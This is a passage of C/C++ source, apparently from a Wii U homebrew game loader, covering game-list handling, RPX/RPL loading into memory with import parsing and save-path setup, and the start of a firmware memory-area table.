rplUpdateList.GetFilepath(i); } }else{ DEBUG_FUNCTION_LINE("Using RPL from game path\n"); } if(gs.extraSave){ DEBUG_FUNCTION_LINE("Using extra save path for update\n"); extra_save = true; } }else{ DEBUG_FUNCTION_LINE("Not using Update folder\n"); gSettingUseUpdatepath = 0; } switch(gs.save_method){ case GAME_SAVES_DEFAULT: DEBUG_FUNCTION_LINE("Using save method from Settings\n"); break; //leave it from settings case GAME_SAVES_SHARED: DEBUG_FUNCTION_LINE("Using GAME_SAVES_SHARED cfg\n"); save_method = GAME_SAVES_SHARED; break; case GAME_SAVES_UNIQUE: DEBUG_FUNCTION_LINE("Using GAME_SAVES_UNIQUE cfg\n"); save_method = GAME_SAVES_UNIQUE; break; default: DEBUG_FUNCTION_LINE("Default: GAME_SAVES_SHARED\n"); DEBUG_FUNCTION_LINE("%d\n",gs.save_method); save_method = GAME_SAVES_SHARED; break; } } u32 entryIndex = 0; std::vector rplImportList; //! get all imports from the RPX CFile rpxFile(rpxPath.c_str(),CFile::ReadOnly); int result = LoadRpxRplToMem(rpxPath.c_str(), rpxName.c_str(), true, entryIndex++, rplImportList); if(result < 0) { DEBUG_FUNCTION_LINE("Failed loading RPX file %s, error %i\n", rpxName.c_str(), result); return result; }else{ DEBUG_FUNCTION_LINE("Loaded RPX file %s, result %i\n", rpxPath.c_str(), result); } //! add missing rpl to vector DirList rplList(header->gamepath + RPX_RPL_PATH, ".rpl", DirList::Files); std::map::iterator itr; std::map::iterator itr_lower; std::string new_lower; std::string old_lower; bool found = false; for(int i = 0; i < rplList.GetFilecount(); i++) { new_lower = rplList.GetFilename(i); found = false; for(itr_lower = rplUpdateNameList.begin(); itr_lower != rplUpdateNameList.end(); itr_lower++) { old_lower = itr_lower->first; std::transform(old_lower.begin(), old_lower.end(), old_lower.begin(), ::tolower); std::transform(new_lower.begin(), new_lower.end(), new_lower.begin(), ::tolower); if(old_lower.compare(new_lower) == 0){ DEBUG_FUNCTION_LINE("Adding RPL %s from %s\n",itr_lower->first.c_str(),itr_lower->second.c_str()); rplFinalNameList[itr_lower->first] = itr_lower->second; found = true; break; } } if(!found){ DEBUG_FUNCTION_LINE("Adding RPL %s from %s\n",rplList.GetFilename(i),rplList.GetFilepath(i)); rplFinalNameList[rplList.GetFilename(i)] = rplList.GetFilepath(i); } } //! get imports GetRpxImportsRecursive(rpxFile,rplImportList,rplFinalNameList); for(itr = rplFinalNameList.begin(); itr != rplFinalNameList.end(); itr++) { result = LoadRpxRplToMem(itr->second.c_str(), itr->first.c_str(), false, entryIndex++, rplImportList); if(result < 0) { DEBUG_FUNCTION_LINE("Failed loading RPL file %s, error %i\n", itr->second.c_str(), result); return result; }else{ DEBUG_FUNCTION_LINE("Loaded RPL file %s, result %i\n", itr->second.c_str(), result); } } if(save_method == GAME_SAVES_SHARED) { saveGamePathUser = "u"; saveGamePathCommon = "c"; } else { /* get persistent ID - thanks to Maschell */ u32 nn_act_handle; u64 (*GetPersistentIdEx)(unsigned char); s32 (*GetSlotNo)(void); void (*nn_Initialize)(void); void (*nn_Finalize)(void); OSDynLoad_Acquire("nn_act.rpl", &nn_act_handle); OSDynLoad_FindExport(nn_act_handle, 0, "GetPersistentIdEx__Q2_2nn3actFUc", &GetPersistentIdEx); OSDynLoad_FindExport(nn_act_handle, 0, "GetSlotNo__Q2_2nn3actFv", &GetSlotNo); OSDynLoad_FindExport(nn_act_handle, 0, "Initialize__Q2_2nn3actFv", &nn_Initialize); OSDynLoad_FindExport(nn_act_handle, 0, "Finalize__Q2_2nn3actFv", &nn_Finalize); nn_Initialize(); // To be sure that it is really Initialized unsigned char slotno = GetSlotNo(); unsigned int persistentID = GetPersistentIdEx(slotno); nn_Finalize(); //must be called an equal number of times to nn_Initialize char persistentIdString[10]; snprintf(persistentIdString, sizeof(persistentIdString), "%08X", persistentID); saveGamePathUser = persistentIdString; saveGamePathCommon = "common"; } if(!extra_save){ CreateSubfolder((saveGamePath + "/" + saveGamePathUser).c_str()); CreateSubfolder((saveGamePath + "/" + saveGamePathCommon).c_str()); }else{ CreateSubfolder((saveGamePath + "/" + updateFolder + "/" + saveGamePathUser).c_str()); CreateSubfolder((saveGamePath + "/" + updateFolder + "/" + saveGamePathCommon).c_str()); } std::string tempPath = CSettings::getValueAsString(CSettings::GamePath); //! remove "sd:" and replace with "/vol/external01" pos = tempPath.find('/'); if(pos != std::string::npos) tempPath = std::string(CAFE_OS_SD_PATH) + tempPath.substr(pos); strlcpy(gamePathStruct.os_game_path_base, tempPath.c_str(), sizeof(gamePathStruct.os_game_path_base)); tempPath = CSettings::getValueAsString(CSettings::GameSavePath); //! remove "sd:" and replace with "/vol/external01" pos = tempPath.find('/'); if(pos != std::string::npos) tempPath = std::string(CAFE_OS_SD_PATH) + tempPath.substr(pos); strlcpy(gamePathStruct.os_save_path_base, tempPath.c_str(), sizeof(gamePathStruct.os_save_path_base)); strlcpy(gamePathStruct.game_dir, game_dir.c_str(), sizeof(gamePathStruct.game_dir)); strlcpy(gamePathStruct.update_folder, updateFolder.c_str(), sizeof(gamePathStruct.update_folder)); strlcpy(gamePathStruct.save_dir_common, saveGamePathCommon.c_str(), sizeof(gamePathStruct.save_dir_common)); strlcpy(gamePathStruct.save_dir_user, saveGamePathUser.c_str(), sizeof(gamePathStruct.save_dir_user)); if(extra_save){ gamePathStruct.extraSave = 1; }else{ gamePathStruct.extraSave = 0; } DEBUG_FUNCTION_LINE("gamePathStruct.os_game_path_base: %s\n", gamePathStruct.os_game_path_base); DEBUG_FUNCTION_LINE("gamePathStruct.os_save_path_base: %s\n", gamePathStruct.os_save_path_base); DEBUG_FUNCTION_LINE("gamePathStruct.game_dir: %s\n", gamePathStruct.game_dir); DEBUG_FUNCTION_LINE("gamePathStruct.update_folder: %s\n", gamePathStruct.update_folder); DEBUG_FUNCTION_LINE("gamePathStruct.save_dir_common: %s\n", gamePathStruct.save_dir_common); DEBUG_FUNCTION_LINE("gamePathStruct.save_dir_user: %s\n", gamePathStruct.save_dir_user); DEBUG_FUNCTION_LINE("gamePathStruct.extraSave: %d\n", gamePathStruct.extraSave); if(!use_new_xml){ DEBUG_FUNCTION_LINE("Getting XML from game\n"); LoadXmlParameters(&cosAppXmlInfoStruct, rpxName.c_str(), (header->gamepath + RPX_RPL_PATH).c_str()); }else{ DEBUG_FUNCTION_LINE("Getting XML from update\n"); LoadXmlParameters(&cosAppXmlInfoStruct, rpxName.c_str(), (completeUpdatePath + RPX_RPL_PATH).c_str()); } DCFlushRange((void*)&cosAppXmlInfoStruct, sizeof(ReducedCosAppXmlInfo)); DEBUG_FUNCTION_LINE("XML Launching Parameters\n"); DEBUG_FUNCTION_LINE("rpx_name: %s\n", cosAppXmlInfoStruct.rpx_name); DEBUG_FUNCTION_LINE("version_cos_xml: %i\n", cosAppXmlInfoStruct.version_cos_xml); DEBUG_FUNCTION_LINE("os_version: %08X%08X\n", (unsigned int)(cosAppXmlInfoStruct.os_version >> 32), (unsigned int)(cosAppXmlInfoStruct.os_version & 0xFFFFFFFF)); DEBUG_FUNCTION_LINE("title_id: %08X%08X\n", (unsigned int)(cosAppXmlInfoStruct.title_id >> 32), (unsigned int)(cosAppXmlInfoStruct.title_id & 0xFFFFFFFF)); DEBUG_FUNCTION_LINE("app_type: %08X\n", cosAppXmlInfoStruct.app_type); DEBUG_FUNCTION_LINE("cmdFlags: %08X\n", cosAppXmlInfoStruct.cmdFlags); DEBUG_FUNCTION_LINE("max_size: %08X\n", cosAppXmlInfoStruct.max_size); DEBUG_FUNCTION_LINE("avail_size: %08X\n", cosAppXmlInfoStruct.avail_size); DEBUG_FUNCTION_LINE("codegen_size: %08X\n", cosAppXmlInfoStruct.codegen_size); DEBUG_FUNCTION_LINE("codegen_core: %08X\n", cosAppXmlInfoStruct.codegen_core); DEBUG_FUNCTION_LINE("max_codesize: %08X\n", cosAppXmlInfoStruct.max_codesize); DEBUG_FUNCTION_LINE("overlay_arena: %08X\n", cosAppXmlInfoStruct.overlay_arena); DEBUG_FUNCTION_LINE("sdk_version: %i\n", cosAppXmlInfoStruct.sdk_version); DEBUG_FUNCTION_LINE("title_version: %08X\n", cosAppXmlInfoStruct.title_version); return 0; } bool GameLauncher::createFileList(const std::string & filepath){ bool result = false; std::string filelist_name = filepath + "/" + std::string(FILELIST_NAME); DEBUG_FUNCTION_LINE("Reading %s\n",filelist_name.c_str()); bool createNewFile = true; CFile file(filelist_name, CFile::ReadOnly); if (file.isOpen()){ if(file.size() != 0){ createNewFile = false; } file.close(); } if(createNewFile){ DEBUG_FUNCTION_LINE("Filelist is missing, creating it!\n"); DEBUG_FUNCTION_LINE("Creating filelist of content in %s\n",filepath.c_str()); DEBUG_FUNCTION_LINE("Saving it to %s\n",filelist_name.c_str()); progressWindow.setProgress(100.0f); FileReplacer replacer(filepath,CONTENT_PATH,"",progressWindow); progressWindow.setTitle(""); std::string strBuffer = replacer.getFileListAsString(); if(strBuffer.length() > 0){ CFile filelist(filelist_name, CFile::WriteOnly); if (filelist.isOpen()){ int ret = 0; progressWindow.setTitle("Writing list to SD"); if((ret = filelist.write((u8*)strBuffer.c_str(), strBuffer.size())) == -1){ DEBUG_FUNCTION_LINE("Error on write: %d\n",ret); } filelist.close(); }else{ DEBUG_FUNCTION_LINE("Error. Couldn't open file\n"); } } } return result; } int GameLauncher::LoadRpxRplToMem(const std::string & path, const std::string & name, bool isRPX, int entryIndex, std::vector & rplImportList) { // For RPLs : int preload = 0; if(!isRPX) { u32 i; for(i = 0; i < rplImportList.size(); i++) { if(strncasecmp(name.c_str(), rplImportList[i].c_str(), name.size() - 4) == 0) { // file is in the fimports section and therefore needs to be preloaded preload = 1; break; } } // if we dont need to preload, just add it to the array if(!preload) { // fill rpl entry rpxRplTableAddEntry(name.c_str(), 0, 0, isRPX, entryIndex, memoryGetAreaTable()); return 1; } DEBUG_FUNCTION_LINE("Pre-loading RPL %s because its in the fimport section\n", name.c_str()); } CFile file(path, CFile::ReadOnly); if(!file.isOpen()) return FILE_OPEN_FAILURE; u32 fileSize = file.size(); // this is the initial area s_mem_area* mem_area = memoryGetAreaTable(); u32 mem_area_addr_start = mem_area->address; u32 mem_area_addr_end = mem_area->address + mem_area->size; u32 mem_area_offset = 0; // on RPLs we need to find the free area we can store data to (at least RPX was already loaded by this point) if(!isRPX) mem_area = rpxRplTableGetNextFreeMemArea(&mem_area_addr_start, &mem_area_addr_end, &mem_area_offset); if(!mem_area) { DEBUG_FUNCTION_LINE("Not enough memory for file %s\n", path.c_str()); return NOT_ENOUGH_MEMORY; } // malloc mem for read file std::string strBuffer; strBuffer.resize(0x10000); unsigned char *pBuffer = (unsigned char*)&strBuffer[0]; unsigned char *pBufferPhysical = (unsigned char*)OSEffectiveToPhysical(&strBuffer[0]); // fill rpx entry u32 bytesRead = 0; s_rpx_rpl* rpx_rpl_struct = rpxRplTableAddEntry(name.c_str(), mem_area_offset, 0, isRPX, entryIndex, mem_area); if(!rpx_rpl_struct) { DEBUG_FUNCTION_LINE("Not enough memory for file %s\n", path.c_str()); return NOT_ENOUGH_MEMORY; } progressWindow.setTitle(strfmt("Loading file %s", name.c_str())); // Copy rpl in memory while(bytesRead < fileSize) { progressWindow.setProgress(100.0f * (f32)bytesRead / (f32)fileSize); u32 blockSize = strBuffer.size(); if(blockSize > (fileSize - bytesRead)) blockSize = fileSize - bytesRead; int ret = file.read(pBuffer, blockSize); if(ret <= 0) { DEBUG_FUNCTION_LINE("Failure on reading file %s\n", path.c_str()); break; } DCFlushRange(pBuffer, ret); int copiedData = rpxRplCopyDataToMem(rpx_rpl_struct, bytesRead, pBufferPhysical, ret); if(copiedData != ret) { DEBUG_FUNCTION_LINE("Not enough memory for file %s. Could not copy all data %i != %i.\n", rpx_rpl_struct->name, copiedData, ret); return NOT_ENOUGH_MEMORY; } rpx_rpl_struct->size += ret; bytesRead += ret; } progressWindow.setProgress((f32)bytesRead / (f32)fileSize); if(bytesRead != fileSize) { DEBUG_FUNCTION_LINE("File loading not finished for file %s, finished %i of %i bytes\n", path.c_str(), bytesRead, fileSize); return FILE_READ_ERROR; } // remember which RPX has to be checked for on loader for allowing the list compare if(isRPX) { RPX_CHECK_NAME = *(unsigned int*)name.c_str(); } // return okay return 0; } void GameLauncher::GetRpxImportsRecursive(CFile file, std::vector & rplImports, std::map & rplNameList) { std::string strBuffer; strBuffer.resize(0x1000); if(!file.isOpen()){ DEBUG_FUNCTION_LINE("GetRpxImportsRecursive error: file not open\n"); return; } // get the header information of the RPX if(file.read((unsigned char *)&strBuffer[0], 0x1000) == -1){ DEBUG_FUNCTION_LINE("GetRpxImportsRecursive error: reading file\n"); return; } // Who needs error checks... // Get section number int shstrndx = *(unsigned short*)(&strBuffer[RPX_SH_STRNDX_OFFSET]); // Get section offset int section_offset = *(unsigned int*)(&strBuffer[RPX_SHT_START + (shstrndx * RPX_SHT_ENTRY_SIZE) + RPX_SHDR_OFFSET_OFFSET]); // Get section size int section_size = *(unsigned int*)(&strBuffer[RPX_SHT_START + (shstrndx * RPX_SHT_ENTRY_SIZE) + RPX_SHDR_SIZE_OFFSET]); // Get section flags int section_flags = *(unsigned int*)(&strBuffer[RPX_SHT_START + (shstrndx * RPX_SHT_ENTRY_SIZE) + RPX_SHDR_FLAGS_OFFSET]); // Align read to 64 for SD access (section offset already aligned to 64 @ elf/rpx?!) int section_offset_aligned = (section_offset / 64) * 64; int section_alignment = section_offset - section_offset_aligned; int section_size_aligned = ((section_alignment + section_size) / 64) * 64 + 64; std::string section_data; section_data.resize(section_size_aligned); int res = 0; // get the header information of the RPX if((res = file.seek(section_offset_aligned,SEEK_SET)) != section_offset_aligned){ DEBUG_FUNCTION_LINE("GetRpxImportsRecursive error: file.seek failed! Result: %d, %d\n",res); return; } if((res = file.read((unsigned char *)§ion_data[0], section_size_aligned)) == -1){ DEBUG_FUNCTION_LINE("GetRpxImportsRecursive error: file read failed! Result: %d\n",res); return; } //Check if inflate is needed (ZLIB flag) if (section_flags & RPX_SHDR_ZLIB_FLAG) { // Section is compressed, inflate int section_size_inflated = *(unsigned int*)(§ion_data[section_alignment]); std::string inflatedData; inflatedData.resize(section_size_inflated); u32 zlib_handle; OSDynLoad_Acquire("zlib125", &zlib_handle); /* Zlib functions */ int(*ZinflateInit_)(z_streamp strm, const char *version, int stream_size); int(*Zinflate)(z_streamp strm, int flush); int(*ZinflateEnd)(z_streamp strm); OSDynLoad_FindExport(zlib_handle, 0, "inflateInit_", &ZinflateInit_); OSDynLoad_FindExport(zlib_handle, 0, "inflate", &Zinflate); OSDynLoad_FindExport(zlib_handle, 0, "inflateEnd", &ZinflateEnd); int ret = 0; z_stream s; memset(&s, 0, sizeof(s)); s.zalloc = Z_NULL; s.zfree = Z_NULL; s.opaque = Z_NULL; ret = ZinflateInit_(&s, ZLIB_VERSION, sizeof(s)); if (ret != Z_OK) return; s.avail_in = section_size - 0x04; s.next_in = (Bytef *)(§ion_data[0] + section_alignment + 0x04); s.avail_out = section_size_inflated; s.next_out = (Bytef *)&inflatedData[0]; ret = Zinflate(&s, Z_FINISH); if (ret != Z_OK && ret != Z_STREAM_END) return; ZinflateEnd(&s); section_data.swap(inflatedData); } // Parse imports std::map::iterator itr; size_t offset = 0; std::string name_lower; std::string import_lower; do { if (strncmp(§ion_data[offset+1], ".fimport_", 9) == 0) { std::string import = std::string(§ion_data[offset+1+9]); // Add file suffix for easier handling if (import.find(".rpl") == std::string::npos) { import += ".rpl"; } if(std::find(rplImports.begin(), rplImports.end(), import)==rplImports.end()){ //new rplImports.push_back(import); bool found = false; for(itr = rplNameList.begin(); itr != rplNameList.end(); itr++) { std::vector name_vec = stringSplit(itr->second,"/"); if(name_vec.size() < 1) break; name_lower = name_vec.at(name_vec.size()-1); import_lower = import; std::transform(name_lower.begin(), name_lower.end(), name_lower.begin(), ::tolower); std::transform(import_lower.begin(), import_lower.end(), import_lower.begin(), ::tolower); //DEBUG_FUNCTION_LINE("%s = %s\n",name_lower.c_str(),import_lower.c_str()); if(name_lower.compare(import_lower) == 0){ found = true; break; } } if(found){ CFile newFile(itr->second,CFile::ReadOnly); if(newFile.isOpen()){ GetRpxImportsRecursive(newFile,rplImports,rplNameList); newFile.close(); }else{ DEBUG_FUNCTION_LINE("GetRpxImportsRecursive error: Couldn't open RPL (RPL: %s from path: %s)\n",import.c_str(),itr->second.c_str()); } } } } offset++; while (section_data[offset] != 0) { offset++; } } while(offset + 1 < section_data.size()); } ================================================ FILE: src/game/GameLauncher.h ================================================ #ifndef GAME_LAUNCHER_H_ #define GAME_LAUNCHER_H_ #include #include #include #include "common/common.h" #include "menu/ProgressWindow.h" #include "rpx_rpl_table.h" #include "memory_area_table.h" #include "GameList.h" #include "system/CThread.h" #include "gui/sigslot.h" #include "fs/CFile.hpp" class GameLauncher : public GuiFrame, public CThread { public: enum eLoadResults { SUCCESS = 0, INVALID_INPUT = -1, RPX_NOT_FOUND = -2, TOO_MANY_RPX_NOT_FOUND = -3, FILE_OPEN_FAILURE = -4, FILE_READ_ERROR = -5, NOT_ENOUGH_MEMORY = -6, }; static GameLauncher * loadGameToMemoryAsync(const discHeader *hdr); sigslot::signal3 asyncLoadFinished; private: GameLauncher(const discHeader *hdr) : GuiFrame(0, 0) , CThread(CThread::eAttributeAffCore0 | CThread::eAttributePinnedAff) , discHdr(hdr) , progressWindow("Loading game...") { append(&progressWindow); width = progressWindow.getWidth(); height = progressWindow.getHeight(); } void executeThread(); int loadGameToMemory(const discHeader *hdr); int LoadRpxRplToMem(const std::string & path, const std::string & name, bool isRPX, int entryIndex, std::vector & rplImportList); void GetRpxImportsRecursive(CFile file, std::vector & rplImports, std::map & rplNameList); static void gameLoadCallback(CThread *thread, void *arg); bool createFileList(const std::string & filepath); const discHeader *discHdr; ProgressWindow progressWindow; }; #endif ================================================ FILE: src/game/GameList.cpp ================================================ #include #include #include #include "GameList.h" #include "common/common.h" #include "settings/CSettings.h" #include "fs/DirList.h" #include "utils/xml.h" GameList *GameList::gameListInstance = NULL; void GameList::clear() { gameFilter.clear(); fullGameList.clear(); filteredList.clear(); //! Clear memory of the vector completely std::vector().swap(filteredList); std::vector().swap(fullGameList); } discHeader * GameList::getDiscHeader(const std::string & gameID) const { for (u32 i = 0; i < filteredList.size(); ++i) { if(gameID == filteredList[i]->id) return filteredList[i]; } return NULL; } int GameList::readGameList() { // Clear list fullGameList.clear(); //! Clear memory of the vector completely std::vector().swap(fullGameList); int cnt = 0; std::string gamePath = CSettings::getValueAsString(CSettings::GamePath); DirList dirList(gamePath, 0, DirList::Dirs); dirList.SortList(); for(int i = 0; i < dirList.GetFilecount(); i++) { const char *filename = dirList.GetFilename(i); char id6[7]; int len = strlen(filename); discHeader newHeader; if (len <= 8 || ((filename[len - 8] != '[' && filename[len - 6] != '[') || filename[len - 1] != ']')) { if (GetId6FromMeta((gamePath + "/" + filename + META_PATH).c_str(), id6) == 0) { newHeader.id = id6; newHeader.name = filename; newHeader.gamepath = gamePath + "/" + filename; fullGameList.push_back(newHeader); } continue; } bool id4Title = (filename[len - 8] != '['); std::string gamePathName = filename; if(id4Title) { newHeader.id = gamePathName.substr(gamePathName.size() - 5, 4); newHeader.name = gamePathName.substr(0, gamePathName.size() - 6); } else { newHeader.id = gamePathName.substr(gamePathName.size() - 7, 6); newHeader.name = gamePathName.substr(0, gamePathName.size() - 8); } newHeader.gamepath = gamePath + "/" + filename; while(newHeader.name.size() > 0 && newHeader.name[newHeader.name.size()-1] == ' ') newHeader.name.resize(newHeader.name.size()-1); fullGameList.push_back(newHeader); } return cnt; } void GameList::internalFilterList(std::vector &fullList) { for (u32 i = 0; i < fullList.size(); ++i) { discHeader *header = &fullList[i]; //! TODO: do filtering as needed filteredList.push_back(header); } } int GameList::filterList(const char * filter) { if(filter) gameFilter = filter; if(fullGameList.size() == 0) readGameList(); filteredList.clear(); // Filter current game list if selected internalFilterList(fullGameList); sortList(); return filteredList.size(); } void GameList::internalLoadUnfiltered(std::vector & fullList) { for (u32 i = 0; i < fullList.size(); ++i) { discHeader *header = &fullList[i]; filteredList.push_back(header); } } int GameList::loadUnfiltered() { if(fullGameList.size() == 0) readGameList(); gameFilter.clear(); filteredList.clear(); // Filter current game list if selected internalLoadUnfiltered(fullGameList); sortList(); return filteredList.size(); } void GameList::sortList() { std::sort(filteredList.begin(), filteredList.end(), nameSortCallback); } bool GameList::nameSortCallback(const discHeader *a, const discHeader *b) { return (strcasecmp(((discHeader *) a)->name.c_str(), ((discHeader *) b)->name.c_str()) < 0); } ================================================ FILE: src/game/GameList.h ================================================ #ifndef GAME_LIST_H_ #define GAME_LIST_H_ #include #include typedef struct _discHeader { std::string id; std::string name; std::string gamepath; } discHeader; class GameList { public: static GameList *instance() { if(!gameListInstance) { gameListInstance = new GameList; } return gameListInstance; } static void destroyInstance() { if(gameListInstance) { delete gameListInstance; gameListInstance = NULL; } } int size() const { return filteredList.size(); } int gameCount() const { return fullGameList.size(); } int filterList(const char * gameFilter = NULL); int loadUnfiltered(); discHeader * at(int i) const { return operator[](i); } discHeader * operator[](int i) const { if (i < 0 || i >= (int) filteredList.size()) return NULL; return filteredList[i]; } discHeader * getDiscHeader(const std::string & gameID) const; const char * getCurrentFilter() const { return gameFilter.c_str(); } void sortList(); void clear(); bool operator!() const { return (fullGameList.size() == 0); } //! Gamelist scrolling operators int operator+=(int i) { return (selectedGame = (selectedGame+i) % filteredList.size()); } int operator-=(int i) { return (selectedGame = (selectedGame-i+filteredList.size()) % filteredList.size()); } int operator++() { return (selectedGame = (selectedGame+1) % filteredList.size()); } int operator--() { return (selectedGame = (selectedGame-1+filteredList.size()) % filteredList.size()); } int operator++(int i) { return operator++(); } int operator--(int i) { return operator--(); } discHeader * GetCurrentSelected() const { return operator[](selectedGame); } std::vector & getfilteredList(void) { return filteredList; } std::vector & getFullGameList(void) { return fullGameList; } protected: GameList() : selectedGame(0) { }; int readGameList(); void internalFilterList(std::vector & fullList); void internalLoadUnfiltered(std::vector & fullList); static bool nameSortCallback(const discHeader *a, const discHeader *b); static GameList *gameListInstance; std::string gameFilter; int selectedGame; std::vector filteredList; std::vector fullGameList; }; #endif ================================================ FILE: src/game/memory_area_table.c ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include #include #include #include "common/common.h" #include "memory_area_table.h" typedef struct _memory_values_t { unsigned int start_address; unsigned int end_address; } memory_values_t; static const memory_values_t mem_vals_400[] = { { 0x2E573BFC, 0x2FF8F83C }, // 26735 kB { 0x2D86D318, 0x2DFFFFFC }, // 7755 kB { 0x2CE59830, 0x2D3794D8 }, // 5247 kB { 0x2D3795AC, 0x2D854300 }, // 4971 kB { 0x28FEC800, 0x293B29D0 }, // 3864 kB { 0x29BC200C, 0x29D79B94 }, // 1758 kB { 0x2A517A68, 0x2A6794B8 }, // 1414 kB { 0x288C1D80, 0x28A69FA0 }, // 1696 kB { 0, 0 } }; static const memory_values_t mem_vals_410[] = { // { 0x28041760, 0x28049D0C } // 33 kB // { 0x280608F4, 0x2806C97C } // 48 kB // { 0x280953C8, 0x280A1324 } // 47 kB // { 0x280A1358, 0x280AD388 } // 48 kB // { 0x280C9040, 0x280D0ABC } // 30 kB // { 0x280D0AD8, 0x28113FBC } // 269 kB // { 0x2812575C, 0x2817A53C } // 339 kB // { 0x2817A6A0, 0x281BA53C } // 255 kB // { 0x281D571C, 0x2820253C } // 179 kB // { 0x28234D00, 0x2824B33C } // 89 kB // { 0x2824E300, 0x2828D7BC } // 253 kB // { 0x282A8DF0, 0x282B63FC } // 53 kB // { 0x282BC524, 0x282C62FC } // 39 kB // { 0x2835A988, 0x28366804 } // 47 kB // { 0x2836E05C, 0x28378DBC } // 43 kB // { 0x283A735C, 0x284D2A64 } // 1197 kB (1 MB) // { 0x284D76B0, 0x285021FC } // 170 kB // { 0x285766A4, 0x28583E4C } // 53 kB // { 0x28590E5C, 0x2859B248 } // 40 kB // { 0x2859B288, 0x285AE06C } // 75 kB // { 0x285B7108, 0x285C0A7C } // 38 kB // { 0x285C38A0, 0x285D089C } // 52 kB // { 0x285D0A84, 0x285DC63C } // 46 kB // { 0x285E0A84, 0x285F089C } // 63 kB // { 0x285F7FD0, 0x286037D8 } // 46 kB // { 0x2860E3E4, 0x28621B00 } // 77 kB // { 0x286287B0, 0x28638BC0 } // 65 kB // { 0x2863F4A0, 0x2864DE00 } // 58 kB // { 0x2864F1FC, 0x28656EE0 } // 31 kB // { 0x2865AF44, 0x286635A0 } // 33 kB // { 0x2866F774, 0x2867C680 } // 51 kB // { 0x2867FAC0, 0x286A2CA0 } // 140 kB // { 0x286B3540, 0x286C1900 } // 56 kB // { 0x286C64A4, 0x286DDB80 } // 93 kB // { 0x286E640C, 0x286F1DC0 } // 46 kB // { 0x286F3884, 0x2870D3C0 } // 102 kB // { 0x28710824, 0x28719D80 } // 37 kB // { 0x2872A674, 0x2873B180 } // 66 kB // { 0x287402F0, 0x28758780 } // 97 kB // { 0x287652F0, 0x28771C00 } // 50 kB // { 0x287F878C, 0x2880A680 } // 71 kB // { 0x2880F4AC, 0x2881E6E0 } // 60 kB // { 0x28821488, 0x28829A40 } // 33 kB // { 0x2882A5D0, 0x288385BC } // 55 kB // { 0x288385D8, 0x28854780 } // 112 kB // { 0x28857984, 0x28864F80 } // 53 kB // { 0x28870AC0, 0x2887CAC0 } // 48 kB // { 0x2887CAC8, 0x28888CC8 } // 48 kB // { 0x28888CD0, 0x28894ED0 } // 48 kB // { 0x28894ED8, 0x288BE0DC } // 164 kB // { 0x288C1C70, 0x28AD9ED4 } // 2144 kB (2 MB) // { 0x28AD9F04, 0x28B66100 } // 560 kB // { 0x28B748A8, 0x28B952E0 } // 130 kB // { 0x28B9AB58, 0x28BA2480 } // 30 kB // { 0x28BA3D00, 0x28BC21C0 } // 121 kB // { 0x28BC2F08, 0x28BD9860 } // 90 kB // { 0x28BED09C, 0x28BFDD00 } // 67 kB // { 0x28C068F0, 0x28C2E220 } // 158 kB // { 0x28CC4C6C, 0x28CF6834 } // 198 kB // { 0x28D3DD64, 0x28D4BF8C } // 56 kB // { 0x28D83C4C, 0x28DD0284 } // 305 kB // { 0x28DDDED4, 0x28E84294 } // 664 kB // { 0x28E99C7C, 0x28F382A4 } // 633 kB // { 0x28F45EF4, 0x28FEC2B4 } // 664 kB // { 0x28FEC800, 0x293B2A18 } // 3864 kB (3 MB) // { 0x293E187C, 0x293EC7FC } // 43 kB // { 0x295C7240, 0x295D523C } // 56 kB // { 0x295DA8DC, 0x295E323C } // 34 kB // { 0x295ED6C0, 0x295F6FDC } // 38 kB // { 0x29606340, 0x2960FC5C } // 38 kB // { 0x2964F040, 0x29657C3C } // 35 kB // { 0x296E0EBC, 0x296EBDBC } // 43 kB // { 0x2998DFB4, 0x2999DEE4 } // 63 kB // { 0x2999E6A8, 0x299BE9C4 } // 128 kB // { 0x29B8DF40, 0x29BA09DC } // 74 kB // { 0x29BC200C, 0x29D79B94 } // 1758 kB (1 MB) // { 0x29DA9694, 0x29DB1694 } // 32 kB // { 0x2A3D7558, 0x2A427558 } // 320 kB // { 0x2A42769C, 0x2A47769C } // 320 kB // { 0x2A4777E0, 0x2A4C77E0 } // 320 kB // { 0x2A4C7924, 0x2A517924 } // 320 kB // { 0x2A517A68, 0x2A6794B8 } // 1414 kB (1 MB) // { 0x2AD17528, 0x2AD4EA24 } // 221 kB // { 0x2B038C4C, 0x2B1794C8 } // 1282 kB (1 MB) // { 0x2BBA990C, 0x2BBB983C } // 63 kB // { 0x2BBBA160, 0x2BC82164 } // 800 kB // { 0x2BD0000C, 0x2BD71638 } // 453 kB // { 0x2BD7170C, 0x2BD83B0C } // 73 kB // { 0x2BDBA000, 0x2BDCA028 } // 64 kB // { 0x2BDCE000, 0x2BDDE028 } // 64 kB // { 0x2BDE2E34, 0x2BDF2D64 } // 63 kB // { 0x2BDF35E8, 0x2BE031BC } // 62 kB // { 0x2BE052A4, 0x2BE151D4 } // 63 kB // { 0x2BE174AC, 0x2BE27244 } // 63 kB // { 0x2BE3AC80, 0x2BE48C80 } // 56 kB // { 0x2BE49EDC, 0x2BE56C7C } // 51 kB // { 0x2BE82F70, 0x2BE92E9C } // 63 kB // { 0x2BE9ADBC, 0x2BEA8DBC } // 56 kB // { 0x2BEAAB7C, 0x2BEB6DBC } // 48 kB // { 0x2BEC0F3C, 0x2BECEF3C } // 56 kB // { 0x2BED45DC, 0x2BEDCF3C } // 34 kB // { 0x2BEE73C0, 0x2BEF0CDC } // 38 kB // { 0x2BF00040, 0x2BF0995C } // 38 kB // { 0x2BF48D40, 0x2BF5193C } // 35 kB // { 0x2BFDABBC, 0x2BFE5ABC } // 43 kB // { 0x2C03DA40, 0x2C045D7C } // 32 kB // { 0x2C179450, 0x2C18937C } // 63 kB // { 0x2C1DC940, 0x2C1EA93C } // 56 kB // { 0x2C1EABDC, 0x2C1F893C } // 55 kB // { 0x2C239A80, 0x2C243D3C } // 40 kB // { 0x2CE10224, 0x2CE3683C } // 153 kB // { 0x2CE374F4, 0x2CE473A4 } // 63 kB // { 0x2CE49830, 0x2D3794D8 } // 5311 kB (5 MB) // { 0x2D3795AC, 0x2D854300 } // 4971 kB (4 MB) // { 0x2D8546B0, 0x2D8602C4 } // 47 kB // { 0x2D86D318, 0x2DFFFFFC } // 7755 